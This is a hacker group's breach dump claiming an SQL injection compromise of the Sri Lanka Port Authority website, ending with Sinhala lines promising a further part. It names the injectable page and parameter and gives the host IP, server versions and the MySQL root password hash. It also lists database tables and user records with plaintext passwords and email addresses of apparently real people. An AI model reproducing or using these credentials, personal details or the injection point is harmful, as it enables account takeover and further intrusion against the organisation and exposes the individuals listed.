SRILANKAN PORT AUTHORITY HACKED BY TEAM T!g3R
MEMBERS : w3bd3f4c3r, n3ll4!s4mur4!,r00t, burn3r, violence_sh@r0n.
WEBSITE : http://www.slpa.lk
VULNEABLITY SQLi

#################################### PROOFS ##############################################

PROOF OF TABLES ACCESSED : http://i54.tinypic.com/dfy8w9.png
PROOF OF USERS DATA ACCESSED : http://i55.tinypic.com/2wg4uo2.png


############################### SERVER DETAILS #######################################


Target: http://www.slpa.lk/news_desc.php?id=71
Host IP: 203.115.19.34
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
Powered-by: PHP/5.2.4
DB Server: MySQL >=5
Resp. Time(avg): 9935 ms
Current User: root@localhost
Sql Version: 5.0.41-community-nt
Current DB: slpa_cmt
System User: root@localhost
Host Name: slpawebserv
Installation dir: C:\Program Files\MySQL\MySQL Server 5.0
DB User & Pass: root:*82F53C3C08C852EECEC1F6319B84DE968C174C7D:localhost

############################ DATABASE DETAILS #############################################

Data Bases: information_schema
mysql
sapog
slpa_cmt
test

############################ TABLES AND COLUMNS ###########################################

users Email CreatedDate Type Active Password UserName LastName
FirstName UserID
tb_news
media_news
fuel consumption
cnt_tender_itmes_arc
cnt_tender_itmes
cnt_tender_groups

########################### USER DETAILS OF DB SLP_CMT ##################################

Data Found: UserID=1
Data Found: FirstName=admin
Data Found: UserName=admin
Data Found: Password=YOZGATLIYUNUSGÜRER66YOZGAT
Data Found: Email=Infor@slpa.lk
Data Found: UserID=2
Data Found: FirstName=Prageeth
Data Found: UserName=prageeth
Data Found: Password=prageeth
Data Found: Email=prageath@gmail.com
Data Found: UserID=3
Data Found: FirstName=Kapila
Data Found: UserName=kapila
Data Found: Password=newscom
Data Found: Email=kapila@test.com
Data Found: UserID=4
Data Found: FirstName=Anwer
Data Found: UserName=admin123
Data Found: Password=admin123
Data Found: Email=anwer@ceylonit.com
Data Found: UserID=5
Data Found: FirstName=Wikum
Data Found: UserName=wikum
Data Found: Password=wikum
Data Found: Email=wikum@slpa.lk
Data Found: UserID=6
Data Found: FirstName=Mohammad
Data Found: UserName=test
Data Found: Password=password
Data Found: Email=irnish@live.com
Data Found: UserID=7
Data Found: FirstName=Media
Data Found: UserName=adminm
Data Found: Password=media
Data Found: Email=media@slpa.lk
Data Found: UserID=12
Data Found: FirstName=george
Data Found: UserName=george
Data Found: Password=poixxxx
Data Found: Email=georgekrum@ymail.com
Data Found: UserID=13
Data Found: FirstName=Wikum
Data Found: UserName=wikum1
Data Found: Password=lovelovelove
Data Found: Email=wikum@slpa.lk
Data Found: UserID=14
Data Found: Email=ryoshiinhere@gmail.com
Data Found: UserID=15
Data Found: FirstName=LoL
Data Found: UserName=Toshu
Data Found: Password=toshuthelol
Data Found: Email=Lol@LoL.Com
Data Found: UserID=16
Data Found: FirstName=LoL
Data Found: UserName=adminlol
Data Found: Password=toshuthelol
Data Found: Email=Lol@LoLsss.Com
Data Found: UserID=17
Data Found: FirstName=cid
Data Found: UserName=cid.lk
Data Found: Password=cid_lk
Data Found: Email=cdi@cdi.lk


#######################TABLES AND COLUMNS OF DB Mysql######################################
Table Name Columns
user
time_zone_transition_type
time_zone_transition
time_zone_name
time_zone_leap_second
time_zone
tables_priv
procs_priv
proc
host
help_topic
help_relation
help_keyword
help_category
func
db
columns_priv
################################# USER DETAILS  OF MYSQL ###################################

Data Found: Host=localhost
Data Found: User=root
Data Found: Password=*82F53C3C08C852EECEC1F6319B84DE968C174C7D


###################################TABLES AND COLUMNS OF DB sapog###########################
Table Name Columns
participant_events
participant
events
country

මෙහි ඉතිරිය තවත් කොටසකින් හමු වෙමු.
මේක ඔයාලට වැදගත් උනානම් Follow කරගෙනම යන්න. ප්‍රශ්ණ, නැත්නම් ඔයාට හිතෙන දේ කමෙන්ට් කරලා යන්න